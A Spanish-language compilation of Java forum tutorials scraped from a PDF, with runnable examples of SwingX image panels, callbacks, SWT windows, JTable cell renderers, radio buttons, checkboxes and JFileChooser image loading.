- Dar clic en la opción " Swing/AWT Component"- Se mostrara una venta de dialogo " Palette Manager"- Presionar el botón " New Category..." , aquí se desplegara un cuadro de dialogosolicitando el nombre para la nueva categoría.asignamos un nombre y presionamos "OK"- Add from JAR...- Buscamos el archivo jar que descargamos- Seleccionamos los componentes que vamos a agregar ( Agregamos todos los componentes)- seleccionamos la categiria que acabamos de crear y presionamos el botón- seleccionamos la categiria que acabamos de crear y presionamos el botón

- fin

- Una vez que se ha agregado la libreria swingX podemos agregar los componentes desde lapaleta de componentes

Aqui les dejo una clase que elabore y me ha funcionado bien al momento de utilizar elJXImagePanel de la libreria SwingX

Pareciera ser muchos los pasos a seguir para implementarlo pero en realidad son sencillo, sigustan les puedo hacer un minimanual, ¿Cómo se los enviaria?

import java.awt.Image;import java.awt.image.BufferedImage;import java.io.File;import java.io.IOException;

import java.util.logging.Level;import java.util.logging.Logger;import javax.imageio.ImageIO;import org.jdesktop.swingx.JXImagePanel;

Page 107: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 107/169

  /*** @nombre : Agente_imagen.java* @descripción : Clase que proporciona las herramientas para insertar una imagen* dentro un panel (JXImagePanel).

* @creado : 4 de Enero del 2009.* @author : Aarón**/  

public class Agente_imagen { 

public Agente_imagen(){

}//fin constructor. 

 /*Retornar una imagen tipo Image dada una url.*/  

public Image getImagen(String url){

Image imagen;BufferedImage bufferedImage = null;

 //Realizamos la lectura del archivo. 

File archivo = new File( url );try {bufferedImage = (ImageIO.read(archivo));} catch (IOException ex) {Logger.getLogger(Agente_imagen.class.getName()).log(Level.SEVERE, null, ex);}

imagen = bufferedImage;

return imagen;

}//fin mètodo: getImagen().. 

 /*Inserta una imagen dentro de un ImagePanel a partir de una url proporcionada

 y ajusta la imagen al tamaño inicial del panel, en este caso es un JXImagePanel

de la libreria swingx*/  public void setImageinImagePanel(String url, JXImagePanel panel){  //Inicializamos nuestra variable. JXImagePanel paneldeImagen = panel;Image imagen = null;paneldeImagen.setImage(null);

Page 108: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 108/169

 //Obtenemos la imagen a partir de la url proporcionada. imagen = getImagen(url);

 //Obtenemos el ancho y alto del panel el caul no servira para redimen---

 //sionar a la imagen. 

int ancho = panel.getWidth();int alto = panel.getHeight();imagen = redimensionarImagen(imagen, ancho, alto); //Insertamos la imagen redimensionada en el panel. paneldeImagen.setImage(imagen);}//Fin metodo: setImageinImagePanel. 

 /*Inserta una imagen tipo Image dentro de un ImagePanel, ajusta la imagen al

tamaño inicial del panel.*/  public void setImageinImagePanel(Image imagen, JXImagePanel panel){ JXImagePanel paneldeImagen = panel;

paneldeImagen.setImage(null);

paneldeImagen.setImage(imagen);}//fin método: setImageinImagePanel. 

 /*Retornar una imagen tipo Image, redimensionada, apartir de los parametros -

alto y ancho proporcionados. */  public Image redimensionarImagen(Image imagen, int ancho, int alto) { return imagen.getScaledInstance(ancho, alto, Image.SCALE_AREA_AVERAGING);}//FIN: redimensionarImagen. 

}//Fin clase: Agente_imagen 

Saludos

Principio del formulario 

Creando mi primer applet... inservible 

Pues despues de leer un poco en un libro sobre Java que creo que esta un poco viejo porquedice que se concentrara en las applets... y según me dijeron Ya no se usan las applets u.u

import java.awt.*; import java.applet.Applet; 

 public class Holamundoapplet extends  Applet{  public void  paint (Graphics g) { g.drawString ("Hola Mundo", 50, 50); 

Page 109: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 109/169

  } } 

Haciendo un pequeño Callback  

Bien ahora que tengo un poco de tiempo describiré que es y como funciona un Callback,que en pocas palabras es una técnica que consiste en crear un objeto y que el objeto creadoobtenga una referencia de quien lo instanció y pueda enviarle una respuesta.

Más fácil, los callbacks permiten a un objeto A asignar una tarea a un objeto B, es entoncescuando el objeto B puede notificar al objeto A (de manera asincrónica) cuando la tarea escompletada.

Con esto separamos muy bien las responsabilidades entre objetos y mejoramos el uso derecursos :-)

Clase A - Cliente.java 

 package hss; 

 public class Cliente { 

Cliente(){ Lanza lanza = new Lanza(this, 8); lanza.run(); 

 public static void  main(String args[]){ new Cliente(); 

 public void  lanzada(){ System .out.println("Lanzada!!!"); 

Clase B - Lanza.java 

 package hss; 

 public class Lanza { 

int intervalo; Cliente cliente; 

Page 110: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 110/169

Lanza(Cliente cliente, int intervalo){ this.intervalo = intervalo; this.cliente = cliente; 

void  run(){ for (int i = 0; i < intervalo; i++){ 

cliente.lanzada(); } 

Voy a explicarlo como si corriera en modo de debug, es decir tal cual es el flujo delprograma.

Cliente.java - Método main() 

 public static void  main(String args[]){ new Cliente(); 

El método main por default es el primer método invocado, y crea una nueva instancia de laclase Cliente (crea una instancia de la misma clase en la que está)

Cliente.java - Constructor default 

Cliente(){ Lanza lanza = new Lanza(this, 8); 

Al ser instanciada la clase Cliente, el constructor por default es ejecutado, quien a su vezcrea una nueva instancia de la clase Lanza y de nombre 'lanza', a quien le manda comoparámetros 'this' (que es nuestro objeto Client actual, es como si se enviara él mismo) y unentero (8).

Lanza.java - Constructor que recibe Cliente y entero 

Lanza(Cliente cliente, int intervalo){ this.intervalo = intervalo; this.cliente = cliente; 

El constructor de Lanza es ejecutado, recibe el objeto Cliente enviado con 'this' desde elobjeto Client y el número entero, luego los copia a el 'Cliente' e 'intervalo' locales.

Cliente.java - Constructor default lanza.run(); 

Page 111: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 111/169

la ejecución regresa al objeto Cliente y continúa con la siguiente línea en donde ejecuta elmétodo run() del objeto lanza instanciado.

Lanza.java - Método run() 

void  run(){ for (int i = 0; i < intervalo; i++){ cliente.lanzada(); 

} } 

Se ejecuta el método run() y tomamos la variable 'intervalo' que ya había guardado elconstructor para iterar el número de veces que le dijimos.

Cliente.java - Método lanzada() 

 public void 

lanzada(){ System .out.println("Lanzada!!!"); } 

En cada iteración utilizamos el objeto Cliente que recibió el constructor para lanzar sumétodo 'lanzada()' y reportar a Cliente que Lanza hizo ya lo que tenía que hacer, es aquidonde se realiza el Callback desde la clase instanciada hacia la clase que la instanció!

:::

Como verán, es un poco enredoso el seguimiento de un Callback, pero les sugiero queprueben el código en modo de debug en su IDE preferido para que lo vean correr paso apaso :-P

Espero que esta técnica les sea de utilidad, saludos! 

Usando SWT para crear interfaces

gráficas (GUI) 

¿Qué es SWT? SWT es un framework para crear interfaces gráficas en Java (como Swing o Awt) que creaa través de JNI (Java Native Interface) interfaces gráficas nativas del Sistema Operativo endonde ejecutemos nuestra aplicación SWT. Esto quiere decir que con el mismo códigovisualizaremos en cada Sistema Operativo nuestras ventanas como si hubieran sido creadaspara ese SO en específico.

Por ejemplo: 

Page 112: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 112/169

Windows

Linux/Gtk 

Mac OS X

Page 113: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 113/169

Motif 

Photon

Ahora bien, enumeraré las que a mi parecer son las más visibles ventajas y desventajas deeste framework.Ventajas: 

  * Ya que crea nativamente la GUI dependiendo del SO, es más rápido que Swing  * Consume menos recursos  * La interfaz gráfica se verá como las demás aplicaciones de tu SO  * Está en constante desarrollo

Continúa... 

Desventajas: 

  Muy escasa documentación  Ya que SWT fue creado por la Fundación Eclipse y pensada para el desarrollo de

Eclipse IDE, hay controles o widgets que no consideraron ya que Eclipse no losocupa, aunque sigue en desarrollo.

  Se tiene que agregar la biblioteca al proyecto a desarrollar, no viene por default enlas librerías de Java

Page 114: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 114/169

Algunas aplicaciones creadas con SWT: 

  Eclipse IDE (Quizá el más completo IDE para desarrollo en Java)  Azureus (Uno de los más conocidos clientes torrent)

Bien, ahora comencemos: - Creemos un nuevo proyecto de Java en nuestro IDE preferido (para este tuto utilizaremosEclipse IDE). El proyecto en este ejemplo se llamará ‗tests‘ - Descarguemos SWT de http://www.eclipse.org/swt/  y lo dejamos dentro de nuestroproyecto..- Importamos SWT al proyecto, en Eclipse IDE es en File/Import..

- Luego en General elegimos ‗Existing proyect into Workspace‘ 

- Luego seleccionamos el zip que bajamos con swt y el nombre del proyecto

‗org.eclipse.swt‘ 

- Ya tenemos SWT dentro de nuestro Workspace, ahora tenemos que agregarlo comodependencia de nuestro proyecto ‗tests‘, entonces vamos a las propiedades de ‗tests‘ (click 

derecho en tests/properties), luego damos click en Java Build Path, vamos a la pestaña deProjects y le damos ‗add..‘ seleccionamos ‗org.eclipse.swt‘, y luego OK y de nuevo OK. 

- Bien, ya tenemos nuestro proyecto listo para implementar SWT, ahora debemos saberalgunos conocimientos teóricos.SWT se compone de principales elementos, que interactúan entre ellos para lograr lainterfaz nativa que tanto le caracteriza:

  JNI. Java Native Interface, es el primer y más bajo nivel, que interactúadirectamente con el Sistema Operativo en el que estemos. En claro que cada SOnecesita diferente configuración y librerías, pero JNI nos simplifica el trabajo paraque todo lo escribamos de una sola manera y él se encarga de lo demás, así tenemoscumplida la visión de Java ‗write Once, run anywhere‘ 

  Display. Esta clase de SWT es la responsable de traducir o comunicar la Clase Shellcon el JNI.

  Shell. No chicos, no es ninguna shell que se pueda rootear! Shell es otra clase deSWT, que representa una ventana y quien es la responsable de administrar loswidgets (componentes) que tendremos en la misma. Tendremos una instancia de laclase Shell por cada ventana en nuestro proyecto. Para poder instanciar la claseShell debemos hacer referencia a un Display anteriormente instanciado.

Ahora un poco de código para mover esto.. Así implementamos una nueva ventana vacía:

Page 115: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 115/169

 package lol; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell;  public class testings {  public static void  main(String lol[]){ Display display = new Display(); Shell shell = new Shell(); shell.setText(”javaMexico.org”); shell.setVisible(true); shell.setSize(400, 300); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); } } 

Que es lo que hacemos ahi? 

import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; 

Importamos las clases Display y Shell, imprescindibles en cualquier proyecto SWT.

Display display = new Display(); 

Shell shell = new Shell(); 

Instanciamos un Display y después una Shell, a la que le asignamos la Display quecreamos.

shell.setText(”javaMexico.org”); shell.setVisible(true); shell.setSize(400, 300); shell.open(); 

Como ya habíamos mencionado, ‘shell‘ es nuestra ventana, así que con ‘setText‘ definimos

su título, con ‘setVisible‘ si queremos que sea mostrada, con ‘setSize‘ el tamaño y con‗open‘ la iniciamos. 

while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } 

Page 116: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 116/169

Este bucle while es muy importante, ya que es nuestro ‗manejador de eventos‘, lo que hacees que una vez mostrada la ventana y si la misma no está ejecutando algún evento lanza unbucle que deja la ventana en espera (sleep) de otro evento venidero, así que estáconstantemente en escucha de algún otro evento que se dispare.

display.dispose();  por último, liberamos la aplicación con dispose(), quien finaliza ‗display‘ y todos los shellsque ‗display‘ contiene, esto solo ocurre cuando la ventana ha sido cerrada, cuando damos

click en cerrar la ventana automáticamente el ciclo while no se cumple y salta al siguiente paso ‗display.dispose()‘ Resultado: 

Utilizando Widgets. Bueno, iba a explicar detalladamente como poner widgets en layouts y algunos tips más,pero desde ayer interrumpí este tuto por cuestiones de trabajo, así que hice esta pequeña

aplicación con una caja de texto, un botón y un listener que ejecutan una acción..

Aqui está el código, por favor examínenlo y vean la manera de implementar los widgets enel Grid(layout), y también chequen la acción que lleva a cabo el listener que le puse albotón.

 package lol; import org.eclipse.swt.SWT; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.layout.GridData; 

import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; import org.eclipse.swt.widgets.ToolTip; import org.eclipse.swt.widgets.Tray; import org.eclipse.swt.widgets.TrayItem; /** * Clase que implementa SWT en la aplicación!* 

* @author jBenek * @version v1.0*/   public class testings { /** * Método que crea una ventana con un widget Text y * un widget Button de SWT, y agrega un listener al* botón para desplegar un ToolTip en la bandeja del

Page 117: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 117/169

* sistema (Tray) con el texto introducido!* * @param lol - Arreglo de Strings por default del* método main que guarda la entrada de datos al inicio * de la ejecución del programa!*/   public static void  main(String[] lol) { final Display display = new Display(); final Shell shell = new Shell(); shell.setText(”Hackerss.com”); shell.setVisible(true); GridLayout layout = new GridLayout(); layout.numColumns = 4; shell.setLayout(layout); final Text texto = new Text(shell, SWT.BORDER); texto.setEditable(true); texto.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true,true, 3, 1)); final Button boton = new Button(shell, SWT.PUSH); boton.setText(”Envia”); boton.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true,true, 1, 1)); SelectionAdapter sel = new SelectionAdapter() {  public void  widgetSelected(SelectionEvent e) { final ToolTip hssTip = new ToolTip(shell,SWT.BALLOON | SWT.ICON_WORKING); hssTip.setMessage(texto.getText()); Tray hssTray = display.getSystemTray(); 

if (hssTray != null) { TrayItem hssItem = new TrayItem(hssTray, SWT.NONE); hssTip.setText(”Hackerss.com :P”); hssItem.setToolTip(hssTip); hssTip.setVisible(true); } } }; boton.addSelectionListener(sel); shell.pack(); shell.setSize(400, 100); 

shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) { display.sleep(); } } display.dispose(); 

Page 118: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 118/169

} } 

Lo que muestra al iniciar la aplicación es esta ventanita:

y al dar click el listener ejecuta esta acción:

JTable una hermosura 

Ok... después de unos 4 años de estarme peleando con .NET (especíicamente con WPF) yde regresar a ver "que tanto había avanzado java" me reencuentro con jTable y memaravillo de lo bien que está estructurado.Es cierto, tal vez no tiene una forma tan directa de poner un query de SQL directo comofuente de datos y que esta arme el dataset para mostrarlo, pero ESO es una aberración.

Si ustedes, como me imagino lo han hecho, han tenido la necesidad de reutilizar código ymontarlo no sólo en diferentes programas o en diferentes accesos a datos y presentarloshabrán sentido, tenido o implorado por una programación modular por capas y que utilicecompletamente la independencia de datos entre la capa de presentación y la capa deobtención de resultado de datos (que prara fines prácticos llamaremos DAO). jTable permite una independencia en todos sus componentes, manejar la presentación delos datos obtenidos mediante un jTableModel que puede ser el de omisión o unopersonalizado, de igual manera cada celda puede,según el tipo de datos presentar un manejodistinto de la presentación de datos, como ejemplo sencillo pondremos un código sencillode una clase ocupada por una tabla para presentar los datos en una celda de varias lineas ycon un tooltip para mostrar el contenido completo (espero haberme explicado):

primero creamos la gui (eso lo damos por sentado y sugerimos en su caso usar NetBeans ysu WYSIWYG para GUIs), a ese panel o ventana le asignamos un controlador (una claseindependiente que maneje la lógica de comportamiento de la presentación (así tenemosnuestra cara final independiente del que la maneja -como un títere que se puede comportarde manera diferente con cada titiritero), lo que veremos entonces es código de esecontrolador:

JTable res = ventanaControlar.getjTResultados(); res.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); palabras = busqueda.getPalabra(); res.getColumnModel().getColumn(0).setPreferredWidth(5

0); res.getColumnModel().getColumn(1).setPreferredWidth(2

00); res.getColumnModel().getColumn(2).setPreferredWidth(5

0); res.setDefaultRenderer(String.class,

new MultiLineCellRenderer()); 

Page 119: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 119/169

lo que estamos haciendo es decirle a nuestra tabla que ancho tendrá cada columna y decirleque si el dato que se pone es un String se utilizará nuestra clase para mostrarla:

/*

* To change this template, choose Tools | Templates

* and open the template in the editor.*/  

import java.awt.Component; import java.awt.Font; import javax.swing.JTable; import javax.swing.JTextArea; import javax.swing.UIManager; import javax.swing.border.EmptyBorder; import javax.swing.table.TableCellRenderer; 

/** * * @author charly */  

 public class MultiLineCellRenderer extends JTextArea implements TableCellRenderer{ 

 public MultiLineCellRenderer(){ setLineWrap(true); setWrapStyleWord(true); setOpaque(true); 

 public static  boolean BOLD; @Override  public Component getTableCellRendererComponent(JTable 

jtable, Object value, boolean isSelected,

 boolean hasFocus,int row, int column) { 

if(isSelected){ setForeground(jtable.getSelectionForeground()); setBackground(jtable.getSelectionBackground()); 

}else{ setForeground(jtable.getForeground()); setBackground(jtable.getBackground()); 

Font font = null; if(BOLD) 

font = new Font(jtable.getFont().getFontName(),

Page 120: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 120/169

Font.BOLD, jtable.getFont().getSize() ); else

font = jtable.getFont(); 

setToolTipText((String)value); 

setFont(font); setText((String)value); if(hasFocus){ 

setBorder(UIManager.getBorder("Table.focusCellHighLightBroder")); 

}else{ setBorder(new EmptyBorder(0,0,0,0)); 

return this; } 

Espero que el código sea autoexplicable, pero en dado caso lo que estamos haciendo esdecir que cuando tengamos un String mostraremos un JTextArea, este debe implementar,para poder ser un CellRenderer, la interfaz TableCellRenderer con la cual el JTextAreaincorpora los valores que le den a la celda y los "pinta", así de esta manera podemos, comoen este caso, manipular si pondremos el resultado en negritas o no, de igual manerapodríamos decirle que el contenido (p.e.) es html y poner texto en diferentes colores omuchas cosas más con independencia completa del resto del comportamiento de la tabla.

Así pues es como JTable va utilizando un paradigma importantísimo de cualquier problemade sistemas: divide y vencerás, convirtiendo cada uno de los problemas de presentación deuna tabla de datos en una solución completamente separados y con una solución poromisión que puede ser completamente reemplazable.

ya tendremos más oportunidades para seguir hablando de como ir personalizando nuestrastablas de resultados via JTable.

Aprediendo con JCheckBox y JRadioButton 

Existen componentes en java, que nos permiten SELECCIONAR SOLOMENTE UNAOPCION ENTRE VARIAS, a estos componentes en java, le denominamos JRadioButton,otros componentes que nos permiten SELECCIONAR VARIAS OPCIONES ENTREMUCHAS, en java les llamamos JCheckBox. 

En esta oportunidad, para aprender a usar estos 2 componentes, tenemos un ejemplo:

Page 121: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 121/169

―El ejemplo trata sobre la compra de un ordenador (Portatil o de Escritorio), luego,

tendremos la opcion de agregarle algunos accesioros mas(memoria usb, y ariculares)‖ 

La imagen mostrada es la ventana de interfaz de usuario.

En este caso, se ha implementado solamente 2 (dos) clases (Window y ControlaWindow).la primera(Window) es la UI(interfaz de usuario), en otras palabras la ventana dibujando

los conponentes(jTextfile, jLabel,jCheckBox, etc), la segunda clase(ControlaWidow), es laencarga de gestionar todos los eventos de la primera, ademas de ejecutar algunasacciones(como sumar y restar)

Ahora Entramos a implementar la primera clase(Window.java), un detalles es que paracrear los JRadiobutton, es necesario crear, un ButtonGroup que es un componente queagrupa varios JRadiobutton con la finalidad de que todos los JRadiobutton incluidos enel ButtonGroup esten enlazados, de tal forma q solo uno a la vez se puede seleccionar.

ButtonGroup grupoDeBotones = new ButtonGroup();JRadioButton jrb1 = new JRadioButton();JRadioButton jrb2 = new JRadioButton();

grupoDeBotones.add(jrb1);grupoDeBotones.add(jrb2);

Por otro lado en la clase Window, hay q crear un objeto de la clase de controlara todos suseventis, en este caso de ControlaWindow.

ControlaWindow controlawindow = new ControlaWindow();

Aqui en fuente de Window.java:

import javax.swing.*;public class Window extends JFrame {

/*Demo por inforux*/public Window() {

initComponents();}public void initComponents() {

grupoDeBotones = new ButtonGroup();jPanel1 = new JPanel();jrbCP = new JRadioButton();jrbCE = new JRadioButton();

Page 122: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 122/169

jPanel2 = new JPanel();jchkUsb = new JCheckBox();jchkAur = new JCheckBox();jPanel4 = new JPanel();jLabel2 = new JLabel();jtfTotal = new JTextField();jLabel3 = new JLabel();

setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);setTitle("http://inforux.wordpress.com");setResizable(false);getContentPane().setLayout(null);

jPanel1.setBorder(BorderFactory.createTitledBorder("SeleccioneEquipo"));

jPanel1.setLayout(null);

jrbCP.setText("Comp. Portatil ( $ 1000 )");jPanel1.add(jrbCP);jrbCP.setBounds(10, 23, 200, 30);

jrbCE.setText("Comp. de Escritorio ( $ 800 )");jPanel1.add(jrbCE);jrbCE.setBounds(210, 23, 220, 30);

getContentPane().add(jPanel1);jPanel1.setBounds(35, 40, 440, 70);

jPanel2.setBorder(BorderFactory.createTitledBorder("AgregadosOpcionales"));

jPanel2.setLayout(null);

jchkUsb.setText("Usb 2 gb ( $.20 )");jPanel2.add(jchkUsb);jchkUsb.setBounds(10, 20, 160, 23);

jchkAur.setText("Auriculares ( $.30 )");jPanel2.add(jchkAur);jchkAur.setBounds(10, 50, 170, 23);

getContentPane().add(jPanel2);jPanel2.setBounds(30, 120, 190, 90);

jPanel4.setBorder(BorderFactory.createTitledBorder("PrecioTotal"));

jPanel4.setLayout(null);

jLabel2.setText("$.");jPanel4.add(jLabel2);jLabel2.setBounds(30, 20, 20, 20);jPanel4.add(jtfTotal);jtfTotal.setBounds(60, 20, 100, 20);

getContentPane().add(jPanel4);jPanel4.setBounds(250, 130, 190, 60);

jLabel3.setText("DEMO POR INFORUX");

Page 123: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 123/169

getContentPane().add(jLabel3);jLabel3.setBounds(180, 10, 150, 30);

/*agregamos los JRadioButton al ButtonGroup*/grupoDeBotones.add(jrbCE);grupoDeBotones.add(jrbCP);

java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();

setBounds((screenSize.width-501)/2, (screenSize.height-252)/2,501, 252);

/*Creamos un objeto controlador de esta clase*/ControlaWindow controlaWindow = new ControlaWindow(this);/* y luego los agregamos al objeto creado*/jchkAur.addActionListener(controlaWindow);jchkUsb.addActionListener(controlaWindow);jrbCE.addActionListener(controlaWindow);jrbCP.addActionListener(controlaWindow);

}public static void main(String args[]) {

new Window().setVisible(true);}

// declaramos las variables de los componentespublic ButtonGroup grupoDeBotones;public JLabel jLabel2;public JLabel jLabel3;public JPanel jPanel1;public JPanel jPanel2;public JPanel jPanel4;public JCheckBox jchkAur;public JCheckBox jchkUsb;public JRadioButton jrbCE;public JRadioButton jrbCP;public JTextField jtfTotal;

}

La segunda clase, solo se dedicara a manejar los eventos de la ventana, ademas de realizaralgunas operacines del ejecicio.

Aqui el fuente:

import java.awt.event.*;public class ControlaWindow implements ActionListener{/*clase escuchadorade nuestra vista*/

Window ventana;/*declaramos un objeto del tipo window*/int aur=30,usb=20,cp,ce,total=0;/*declaramos e instanciamos nuestras

variables*/public ControlaWindow(Window objeto){

ventana = objeto;}public void actionPerformed(ActionEvent evento)

{

if (evento.getSource()== ventana.jchkAur){/*escuchamos el eventoen auriculares*/

Page 124: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 124/169

if (ventana.jchkAur.isSelected()){/*nos aseguramos q estachekeado*/

total=total+aur;ventana.jtfTotal.setText(Integer.toString(total));}

else {/*si no esta chekeado*/total=total-aur;ventana.jtfTotal.setText(Integer.toString(total));}

}else {if (evento.getSource()== ventana.jchkUsb){/*escuchamos el evento

en usb*/if (ventana.jchkUsb.isSelected()){/*nos aseguramos q esta

chekeado*/total=total+usb;ventana.jtfTotal.setText(Integer.toString(total));}

else {/*si no esta chekeado*/total=total-usb;ventana.jtfTotal.setText(Integer.toString(total));}

}else {

if (evento.getSource()== ventana.jrbCE){/*escuchamos el evento encomp. escritorio*/total=total-cp; ce=800;total=total+ce;ventana.jtfTotal.setText(Integer.toString(total));}

else {if (evento.getSource()== ventana.jrbCP){/*escuchamos el evento en

comp. portatil*/total=total-ce; cp=1000;total=total+cp;ventana.jtfTotal.setText(Integer.toString(total));}

}} }}

}

Luego, tendremos q compilar la clase Window.java

$javac Window.java

Listo podremos ver el ejemplo en ejecuccion, aquialgunos pantallazos para q ilustren elejemplo

Page 126: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 126/169

 

El ejemplo demostracion trata sobre: ―Selecionar un archivo imagen (.jpg, .gif, .png) yluego tendremos q visualizar dicha imagen‖ aqui la ventana ilustrativa. 

Lo Primero q tendremos q hacer es dibujar nuestra interface grafica de usuario(GUI) en estecaso ―WindowDemoFile‖, lo unico nuevo en esta clase es el ―JFileChooser‖ 

public JFileChooser jfcExaminarEntrada;jfcExaminarEntrada = new JFileChooser();

Esta demas decir q la imagen se visualizara dentro de un ―JDesktopPane‖, aqui en fuente: 

import javax.swing.*;public class WindowDemoFile extends JFrame {

public WindowDemoFile() {initComponents(); }

private void initComponents() {setTitle("DEMO POR INFORUX");setResizable(false);jfcExaminarEntrada = new JFileChooser();

jPanel1 = new JPanel();jtfRutaEntrada = new JTextField();jbExaminar = new JButton();jbLoad = new JButton();

Page 127: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 127/169

jPanel3 = new JPanel();jDesktopPane1 = new JDesktopPane();

setDefaultCloseOperation( WindowConstants.EXIT_ON_CLOSE);getContentPane().setLayout(null);

jPanel1.setBorder( BorderFactory.createTitledBorder("Ubica elArchivo Imagen"));

jPanel1.setLayout(null);jPanel1.add(jtfRutaEntrada);jtfRutaEntrada.setBounds(20, 30, 350, 19);

jbExaminar.setText("...");jPanel1.add(jbExaminar);jbExaminar.setBounds(400, 30, 50, 25);

jbLoad.setText("load");jPanel1.add(jbLoad);jbLoad.setBounds(460, 30, 70, 25);

getContentPane().add(jPanel1);jPanel1.setBounds(30, 30, 550, 70);

jPanel3.setBorder( BorderFactory.createTitledBorder("ImagenCargada"));

jPanel3.setLayout(null);jPanel3.add(jDesktopPane1);jDesktopPane1.setBounds(20, 30, 530, 340);

getContentPane().add(jPanel3);jPanel3.setBounds(20, 110, 570, 390);

java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();

setBounds((screenSize.width-618)/2, (screenSize.height-542)/2,618, 542);

/*declaramos una referencia a nuestra clase control deeventos*/

ControlaEventos controlaEventos =new ControlaEventos(this);

jbExaminar.addActionListener(controlaEventos);jbLoad.addActionListener(controlaEventos);

}

public static void main(String args[]) {new WindowDemoFile().setVisible(true); }

public JFileChooser jfcExaminarEntrada;public JButton jbExaminar;public JButton jbLoad;public JDesktopPane jDesktopPane1;public JPanel jPanel1;public JPanel jPanel3;public JTextField jtfRutaEntrada;

Page 128: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 128/169

}La segunda clase es de nombre ―ControlaEventos‖, su mismo nombre lo dice, controla

todos los eventos producidos por el usuario. solo controlaremos los 2 botones con nombresq muestran ―…‖ y ―load‖. 

La novedad de esto, es q al producirse el evento en el boton q llama al ―JFileChoose‖. estemostrara un dialogo y dentro de el, estara el componente. Para decirle cual de lo 2 tipos(open y/o save), utilizamos los metodos showOpenDialog o showSaveDialog, segunnuestras necesidades.

int result = d.showOpenDialog(ventana para seleccionar un archivo);int result =d.showSaveDialog(ventana para guardar un archivo);

donde ―d‖ es el frame, internalFrame, mejro dicho es la ventana donde se sobrepondra,

ademas esta llamada no entrega nada hasta que el usuario ha aceptado un archivo ocancelado la entrada de ldialogo. El valor de retorno es:

JFileChooser.APROVE_OPTION (si haces click en entrar o gravar)

JFileChooser.CANCEL_OPTION. ( si hay evento en el boton cancelar del JFileChooser.)

Aqui el fuente:

import java.awt.event.*;import java.io.File;import java.awt.image.BufferedImage;import javax.imageio.ImageIO;public class ControlaEventos implements ActionListener{

WindowDemoFile ventana;

File fileImagen;public ControlaEventos(WindowDemoFile objeto){

ventana = objeto;}public void actionPerformed(ActionEvent evento)

{if (evento.getSource()==ventana.jbExaminar){//si hay

evento en el boton examinarint returnVal =

ventana.jfcExaminarEntrada.showOpenDialog(ventana);//mostramos eljFileChooser

if (returnVal ==ventana.jfcExaminarEntrada.APPROVE_OPTION) {//nos aseguramos q haya

selecionado algun archivofileImagen =ventana.jfcExaminarEntrada.getSelectedFile();//obtenemos el archivoselecionado

ventana.jtfRutaEntrada.setText(fileImagen.toString());}}//mostramos la ruta del archivo en la caja de texto

if (evento.getSource()==ventana.jbLoad){//si hay evento enel boton load

Page 129: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 129/169

if ( fileImagen != null) {cargarImagen(ventana.jDesktopPane1,fileImagen);}}

}

/*este metodo recibe el jdeskopPane y el archivo imagen*/public void cargarImagen(javax.swing.JDesktopPane jDeskp,File

fileImagen){try{

BufferedImage image = ImageIO.read(fileImagen);jDeskp.setBorder(new PintaImagen(image)); }

catch (Exception e){ System.out.println("No cargo imagen,sorry"); }

}}

La ultima clase, es la misma a la entrada anterior, ahy se explica la clase ―PintaImagen‖ 

de todas formas aqui el fuente:

import java.awt.Component;import java.awt.Graphics;import java.awt.Insets;import java.awt.image.BufferedImage;import javax.swing.border.Border;

public class PintaImagen implements Border{

private BufferedImage image ;

public PintaImagen(BufferedImage image ) {this.image=image;}

public void paintBorder(Component c, Graphics g, int x, int y, intwidth, int height) {

int x0 = x+ (width-image.getWidth())/2;int y0 = y+ (height-image.getHeight())/2;g.drawImage(image,x0,y0,null); }

public Insets getBorderInsets(Component c) {return new Insets(0,0,0,0);}

public boolean isBorderOpaque() {return true; }

}

Atravez de esta clase convertirlos el ―File‖ a una imagen para pintarse en un JDesktopPane. 

